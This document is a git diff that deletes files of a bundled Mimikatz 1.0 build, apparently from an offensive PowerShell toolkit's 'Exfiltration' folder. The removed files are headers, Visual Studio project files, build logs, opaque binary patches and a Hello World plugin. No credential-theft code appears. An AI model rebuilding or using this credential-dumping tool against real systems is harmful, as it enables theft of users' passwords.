b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h deleted file mode 100644 index 22ffbc2..0000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h +++ /dev/null @@ -1,9 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include - -extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc deleted file mode 100644 index f08bc5607efeb78c964f72fcdd79ff3f9d3e3b2c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1912 zcmbu9+int36o&t66W?J=Z)#!;)V@GDN}K{I2la|n3P@Ukzz`4Vv#a0Qn_+;VMrbB` z_RKo`>%9K_KGU6s8fl^_x6_qcYOABJ%BriWzHU^3TIRcjw$8*Z*7StbFfV$LMeT5PvS6B)*Pqmg<9O3V)9sloij;~dHTKnC`$1V|+h@npm z5zlM19(ml8njJ81R70c6eT9ZujQDCm?Q++^a~n#KtH3Skz23lSBUOBYZ&-GENcDMF zu+jFpZt!0RrHa>XkCV_%(;-m@y|O3cRKR+EbAoIO{3fw?@vie<8VP#UM^MANYhrHe z1D5mD^c|Ird<>~4scewRXC#^+1l}bm_FQIUI&@ac=ho~LGW?L&U8%%U5xttvUx?db z&G{-ciQIh8;XzDCTCb1E;e>u2qA?|&*}6Z2mgyZrOSus_O;9b8yaqm^FT6viC$h=? zZ^T5ZN2VicW&M@I!c5;ZXO^b=NoU;hH-v6ImLu9B^w`JYh;X9soWs@+<0m;N`zamx z+{``V4CKVlJ$C0jBR|cyC2W2jzD)cveym?m=J>lp%IPCKoAVhyE%`t9F_^D5^@bL~ z8|WUS1rv6P*FCSh1asTl0^26PImh5yC&V6einkA$eDCMs80-k#u}8I<&Z(yL;h4P` zZ}ObwSl&v0V_gtaK^J82`BiUWdq!|qTEG3y*{=}%j*pjIyXzP{hH2T wkK8VvHPgG3*8$C@Zb=_lcW?KY?WQpCHiuRf+h*HaC-pY{I->(@A|}kyU(x>fWB>pF diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj deleted file mode 100644 index ef29473..0000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj +++ /dev/null @@ -1,119 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} - Win32Proj - kappfree - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - - - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - advapi32.lib;%(AdditionalDependencies) - NoErrorReport - - - - - Level3 - - - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - advapi32.lib;%(AdditionalDependencies) - NoErrorReport - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters deleted file mode 100644 index 987362e..0000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog deleted file mode 100644 index d6e37a7b2be0eb5cf84d1445fb5e23cad678f631..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 97396 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 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog deleted file mode 100644 index 93f65cf401ae1fe339cae9919b9b29a3846d1f69..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3060 zcmeH}-3o$05QWcm(4!PqcipK;S^kk(5mGPGvsd3L5=LDFLMpKr%bao7IcH~Q_I^9d z)m*uj^0m`SnH;P{u@3UIRSM=QV0b!$8_ZY89Pzyko?}Pavtk1}!e{(GmdzI@{IAGJ z6OCozaak2IGIq#W5n?acCBX0Uw?x;U#uvcDfw9eOczft!;w%+08pYrNF~3LK!J6vfZ8iT{J?d$rX!-uPHnB3~&W4IvVW#S&pl+FHdwzWO^mTUv?_H8CkR zn+**2+&g#f%$z-$;n&S4l~vGCv1;n-y?QEPwbfEzk&e^>i&W={bPR5+rUq@3_#*fa zyQz=#_yD?(&;A-#k%$5QhseGT^;!pb%JgdR^vE!zM+3V;mOB12qqX%?FZ4zez2dv3 zy>+!SUFl5UbV9$j&h=fVx}e%K+Br|8A6ll^ObgnC_%XPvO>|9cR;fLOJq1l+#U;FO zL_khiuL&!?1PvJm*ai4EfqP>(ILhJ!K4s<2OEbrObfzl5_n7UB{qb53c>at31$K*1(M8^T(NS+ zdR~gPtpHD}Rdr78B~DRATHh_hN$XFy0^bm~?+W?pD?feZH^m|UX*}1P;=fdg-w@5} A761SM diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest deleted file mode 100644 index ecea6f7..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate deleted file mode 100644 index 4d28193..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res deleted file mode 100644 index f3f1c55f6989ddaca5936969f1eb273119eb8a8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 760 zcmZ{iKTpFj5XE1r3?Mo%vXOxS7F1A$*cd3F3IqsH8Bt41i5ilqO@-i7F?QiIu`pA9 z=VJ8_;OK1U?!9;Cvn46Q#^Z^xog1T)kFSCWT&$vU=s}}Wm2E@Ux??`l6}!4Fbk2XB z`IxJL{3J&?}xC%n($hTVg3V;|loIVoSxXpx_U%Su3PiINSk=KsC$I;{pyR=Rdwf|=PY(%u?IDH0k5q|CVx}Y7a?xYp63lwyY~V8v3r>Iv>d*L E-*;MXYXATM diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog deleted file mode 100644 index 17139b5..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ -ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ -ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog deleted file mode 100644 index 41cc4a20e0a59baf82bd059daf3e2544438cc9fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2332 zcmds(U2hUW6o%hx6aNF@#;dMY6Jtoc*e@!&EE~2+HN*ylrmH|3Xsa>)_SWajpao)M zFQwU#nR(AUb3W#rGu&K%QmlpsI#5f8dZV5qR)sq1D^*t|SgMRK)e*R1EwveQ_#ya! zb*}g9cn7+N%;YUrA&ig6w~;;VE6_6}8N7%SLqmaf7 zX}yDazsx7|&-%^*zZ#w_owe3;0#2#$%vf#mAjjq=9+kwvV?*qybi$4$RyUbXnOl7B zYh&Pixo|oyK4aDvfeG4Y%+}BM{%l*)!!qmVb*KA^om0Km6ZS4QV!Qw||0?*O`OM~} zW1hgBGM~WkItpqy+JSpMCtjnK&82(CN_}wmlX7E?)%%ffvwcvX!G+6U%kkz0(jtl; z$za6fgYgf^jfglVoVM?f1PwVcv==T$7ILz$j-1yrMpxT)4WA?SE*6|&Z{Gi3H$LBe z4p^SW{1dSHNwNJ%uk>;i0eh)y_sH>u%QEXPoAofGR>v+=17;(A(Kg33j_Dmks@ih% TlJVc{%5|H&cz^E}w-)>Y=!$bo diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog deleted file mode 100644 index da4e714e2eada07e3ddadd6e75119c1eb6158d53..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3694 zcmds)%}&EG5QOK9#5?o|hem};fVibeS^{lSCH(;u!He+hz_)fwq*et*RM1p8I9_k; zS+8fj`FMX(q+3-QDb-AOnrlFBs$5GYDpX=iH0DY4h}~?dCbSv;A@+)XrUhR-VC^zy z<0-umk7vd=EnQtGP>+!@egkFHzw^(r@yt!Nl>>|@1PmyBoX>vD%jfbT%}dOMum?KbDe$MMSP4>^q`5zT3jC8pG|dL7NFPFDPx5@U`o7&|BGXbAsI z1xnt}(1IIX=^QQ^yCdgY;y;A*9eiR~Y+UxNjTu?G{zBJ|`ypeV{S~`uds;Yd2P(%ip3}jK$|(ZR0K4IgsBZ$i ztp3>#il$mT2T2SDug?3y&}1jpw}NjYZl{UM%%R{p3^Y0Ui8(QLH`|@O-+VPYGgkK( zV6jTi>hoLJ{Q;v1S$M7xK>A)9T*bzSO&pix3SoT1{}MS+MP+@!(|~tM#*owUM(CxU#}uuGHh4od&;kCI4)yUBMj4hx zm7Ul1O0CWswp9}0X>w~}*IlWr-`nmJRNBnIDrqXfACt+d3A9h&NBX39=vpUL=XT)N z$r{jk46jFI1FHkpbImqZg)Z+q?GtxDsVY2UM4s0$3vSU+G5sV9N6_DmhHF$x(qY{+8S zr6r2yl}saMHgfDlZ`pUr z`!{cJJXX;-l;D{X&@KK#*Sh*4A|T361wO9vOpRxPZA=`V zoWBBl=_@sQ*>_)2r9=Z`l52uLC6lq4=z_lQw9qAWt&`Zt*2FK#I-&EFxR#R{Rt?tr znkCkpE{9G#&J9Y%#94&%`M&b$!7K8GbQ@CV80T}HoiyuVj)|YHP20M(?K9;}|AzmP zDVb+>^jV;(sTgV0;xOy?Nd@F|Wbc{VFlV>luQgbw8$YRl4V&@Kbq{J)HsHf%jn)3L vFE!cLbo;T`fb8?FRgzW?&D^HSVPx9@V1_Tlva&ey7+1c5< z+x4tMubQ+|(4f6WZ9tt`o#geV9?q-c^LmFjE~w^g&^!1E+~`Qh0XC&(^#F1xKB#|Z zQsv6Dq*9^V;OIEb*E4U5J~q)ZwD6U-uqWz`)>{3d$WU2V7Ii~RYB{%HOX8{2{59Y* zP8xLi+`eN<%NxsFxNfEU@`V!ZK%>%lT&I;7Sjd5lR%Gq+> l^hn=)Qw2Ix_~`dF&jjD$=h)UU=cmk%did8j`|CSc&O4AiSWf@| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog deleted file mode 100644 index fb31489d33c3b7bae9a4e0c9100fbd38dd76ece8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 700 zcmds!OACTf6oh9T^dG`~?>4nllafrMHzBp?MI;5as9#@wSE5DHItUq#XJ+o)5%0IT zTs0J{C0|3eHIl>DQ>2MJ^)-O=6!3VO!W+(4ml@)>;bZntV@`Bn^Jqr**=!s$^mit& zvI;7p1o#{hZKlcfxGzp~%#Ef)1RtpRg)N}E$||EGo}3o+56N*k*CZ|X#~*(Hb;M~- diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog deleted file mode 100644 index 811b6f949100f90020da726ffa398e2995468e14..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2552 zcmd6p%}&Bl5QWd$#CKq+3y5sgxGT3UHWW%IEyOhP{x6|^GbND_U8tDbG@*BXI&RF9uSZh_{@3ByUE=guB(v=+}82>u4A%{H4-wyc429*Sb1RvBs{L#VRf}Qcg`n zUbDUd|D*18dqfmGw3j+5CY%mY;bv zr`N{&PT+57_;yUSx;Va?=@-6#ef<>Xc5b(NaP|_oIp^vWi|ys*`1%W;2Hd7})7Pc; z?{|0tEH1eMdbBqoKBClB9v?@q96N>LV@cVWIhq-UdfTIR<0`lIuSI|rQ?9-DLtv=( z^Zfv-27K%2JN7k8|AFr(-?#Hqx@Rr6x>MItukKIYVxzKiz14wVQ~A))^?2-m-09c# E1LB}!-~a#s diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog deleted file mode 100644 index 30d54de61ada193a04a609844a0e34bac58afc2e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmdUrOA5k35Cv;3c$5S`J9kMOG#C@{7YV`ppF*v6Dd=8i(R96@*YoE2xKpuWWJArF zEf-3=106kyBPUs+@g#2YU^RPd>wF;}?OU$i*hw?B&}+NGi9!97WX#E#sWi@&Iu_RO kP3{}tKCv<0(8(LtUudpcF=g^MDSA`3ELr?W6u%IeUi0%ki~s-t diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp deleted file mode 100644 index d49a183..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp +++ /dev/null @@ -1,12 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kelloworld.h" - -__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments) -{ - MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); - return true; -} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h deleted file mode 100644 index daa8973..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h +++ /dev/null @@ -1,9 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" - -__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc deleted file mode 100644 index 312b232e15015e5c81f0382c95b353aa17e00f35..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1886 zcmbu9Yi|-!5Qg8+CjN&b{i2C6Q2PhURpJ&%xu~B=r4&h#C9uRx{O#&9=df&HsS%pZ z-sa4_GwZq%p`l_m_wuZV^4QZ9{mLh#Z(&c%jGLnez=X$0y zZ$HvZYmett&<&{HwFGsgH~NAkXs+=Te4gqp^>|0TFLvU;)k|Wn>*FTwE;06DP=Uh` z4iVQYtbTF1M=g6`T&saao%bac<}u={g|yGR0iN4Rf?kc&ir(opCtbA4kDMEp-2=3S zJZt#q`dqj8Z-P=MYPWZi%FWWD(FDD=r{h$@dvSXQ-46I|xc7;!_g@w%dfhW<5Zx7= zyLyl3A~k(WWh2iaizL$xI>nqu8-#Fn0g7E0Ih`Jz)$zGCKc(Dx$m_0F>Zy!f!{;yX zc6f8X3T>EM>;)o7=t%4J2|1k7uVXCc@QFA58LZ6i5L$K`k<%2_m=rbgj6U-Wou2BZ z?|&nvS_3j2Q7h}O0v=+0)q+`?>j#~2!`~RW^;iM6W8{hF;b1t`H}1pU596mfsQM`# z`P?i#VhnQX=bqCUR}6lP&WyhF7EOY{@@0-ZHlP9He4SvR}YNpTJEyu@}2 zMix(reNx=s$MCgUCmwT7yt73IkKLUH=k*#tIYG&OwVf!W9Z01iKTdU&t(mA|J zIwyBeuWbk4G1*_!nMsc6e%+2?xr=;yjcj99H+v-XXI^4kG@G;mxm`YKa(Cye2b#^+ kie9k(eb{HVfx=wdv{_YbXFc34S+v>L8699fKV_%<1$eLYhyVZp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj deleted file mode 100644 index b0b3674..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} - Win32Proj - kelloworld - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - true - true - user32.lib - NoErrorReport - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - true - true - user32.lib - NoErrorReport - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters deleted file mode 100644 index 4271331..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters +++ /dev/null @@ -1,44 +0,0 @@ - - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - - {78bbda7e-d41f-4f1c-8aab-9b9471b30a56} - - - {314aff70-fe34-4afa-9341-0ad0a9a9a735} - - - {86a68fa7-1f11-48c7-9821-f5c8bf8b6724} - - - {7790e784-5bb7-405d-8bc7-0a3f5351245b} - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog deleted file mode 100644 index bcd26b3ce5cb2c8e9b10a4236d9947f73e6e3bf2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 125158 zcmeHQ+iu%P66Ny(`wxDcJS3P*7TI9lY)N($*^(j2mOKd7|Nj%adk!lNk`hVLWFu7> z92iQhi=9f>y}Ihu|Ni@*VpjZFd@t^bWw9^57Ei?uo;?AUJT)g|ity%fm9X@{x9$taFOZ>j4lHXVOZjbNhcx{9CK7y0R&1Z1R zq+y2N%ug)voS(MO#-NA)H&PVqjHpRb&c}4{8ahd;UcfakSOx4eRqC(!p8^pt)D`i!fTw|tU6mZy~W zQ%QRThu1&+u{VYDQUlDtRC?h}6;Jyax)75(W_4R|kXc!rGrK{Iw*yUk{5f}*{5#0_ z5_DM9nNOakc%Zty&qvWX%kT&;eT9|3hILpK|8nOS>l^esMo+BM`6IyT)VcM=ot_o6 z`~eS(r*dYQ> zUsi3O0z{4}dt-zVgGa1PuY=H%yB;!5c8v<&2(SVegG*aPfc|w5Qo(36j>Irp-=hY& z3cx4UiT&keR>tP^k=~MPSwajd9+1=dQ*sX-_P6`@xT~}~PTp|X$EuaLpX7}(@3mPa_NK-7#7+vXUJDd)0ul?hzL!gRc@>3CXJJCY_9VMFBL1z3j6_a50I`OtO3OzgI2DCU4 zG>SfocZ3^!`JWFvt{CC?`zM~pqWHtzZ?ik}8yaW?E7#w1E#uhhB)_4Bw zF1@U#9la`F{&!5)&BG{o32OX(LCWSh z^Wn`Y#=l2*Di|~PSLtmw>lG)GW~uyR7aP-SG70X2zP$_mydXO=rP61EwU zyG)ZIQ>fw04||JwxBU=+o=q@%SO?ezIG1B7$uszbrx1MN>|d2X`OhD|AO@wj=d^=U z^vb%wUO`jtJF+QM(O+Hs9=jPRB9^N^>Uu^dxI! zb1(k%m>fl#!dbwh#_(hGs>Jc&?NtnlOq%0lJgg3~(~eUVF99qNyLb-)=s1=YIiiK| zP9(y~utFG#9*Z|_!L4}!e$7C~40eZo7XCK5q9umaVc&;U$?~FbOv^D0ljbICrFjZP zY1-};r$xjdyAAc1rf9W=Xu0Zb>EW5l`}3-zC5Gm+ONLW1oMw+f(XrI7kFeH;gT^~# zf4&`&#q*R{t&c^`#}M?8Yc`7<%{nH!*oSosnTo(Y%Q)gv6vGnODOr6e21UoRBEyiF-TDllK*<857{MP z6jURotfUx^nu^hIqCMG&QHAvX~-%+(0 z&dJo5FYJECRb4yNQeUjMwQpi*3%j57w`#jx^K|?XUYhg>yPsC6&M&i5$pU%nmQho6 zGsK`r*!|u6@`T;ru2I}(n6n}`E;BKGVihcBhvyVpa@Rw~(IV`AZm4b3YGL>H)rf@M z-;5rF-G6!>!tQUgD(teTcdUBHb;9ni=KzLqEA0OBdUGB7*IQ;2EyC_^k6eV^-*+cz 